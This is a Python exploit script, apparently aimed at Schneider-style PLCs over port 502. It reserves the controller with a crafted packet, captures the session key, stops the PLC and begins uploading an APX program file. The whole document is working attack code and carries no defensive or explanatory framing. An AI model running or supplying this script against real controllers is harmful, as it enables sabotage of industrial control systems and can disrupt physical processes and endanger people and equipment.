#!/usr/bin/env python3

__author__ = "Yanis Wang"
__email__ = "mryaniswang@gmail.com"

import argparse
import socket
 

def exploit(host: str, port: int, filename: str):
    print("[*] Loading APX file")

    with open(filename, "rb") as f:
        apx_content = f.read()

    block_length = 0x03f4
    blocks = [apx_content[i:i + block_length] for i in range(0, len(apx_content), block_length)]

    print("[+] File loaded")
    print("[*] Connecting to target")

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((host, port))

    print("[+] Connection established")
    print("[*] Reserving PLC")

    data = b"\xff\xff\x00\x00\x00\x0f\x01\x5a\x00\x10\xda\x79\x00\x00\x06HACKER"
    sock.send(data)
    response = sock.recv(1024)

    if response[9] != 0xfe:
        print("[-] Failed to reserve PLC")
        exit(-1)

    session_key = response[10].to_bytes(1, "little")

    print("[+] PLC reserved")
    print("[*] Stopping PLC")

    data = b"\xff\xff\x00\x00\x00\x06\x01\x5a" + session_key + b"\x41\xff\x00"
    sock.send(data)
    response = sock.recv(1024)

    if response[9] != 0xfe:
        print("[-] Failed to stop PLC")
        exit(-1)

    print("[+] PLC stopped")
    print("[*] Initializing download")

    data = b"\xff\xff\x00\x00\x00\x06\x01\x5a" + session_key + b"\x30\x00\x01"
    sock.send(data)
    response = sock.recv(1024)

    if response[9] != 0xfe:
        print("[-] Failed to initialize download")
        exit(-1)

    print("[*] Downloading first block")

    block = blocks[0]
    block_size = len(block).to_bytes(2, "little")
    length = (len(block) + 10).to_bytes(2, "little")
    data = b"\xff\xff\x00\x00" + length + b"\x01\x5a" + session_key + b"\x31\x00\x01\x01\x00" + block_size + block
    sock.send(data)
    response = sock.recv(1024)

    if response[9] != 0xfe:
        print("[-] Failed to download first block")
        exit(-1)

    print("[+] Done")


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("--host", required=True, type=str, default=None, help="Target address")
    parser.add_argument("--port", required=False, type=int, default=502, help="Target port")
    parser.add_argument("--filename", required=False, type=str, default="PLC.apx", help="APX file")
    args = parser.parse_args()

    exploit(args.host, args.port, args.filename)

 
if __name__ == "__main__":
    main()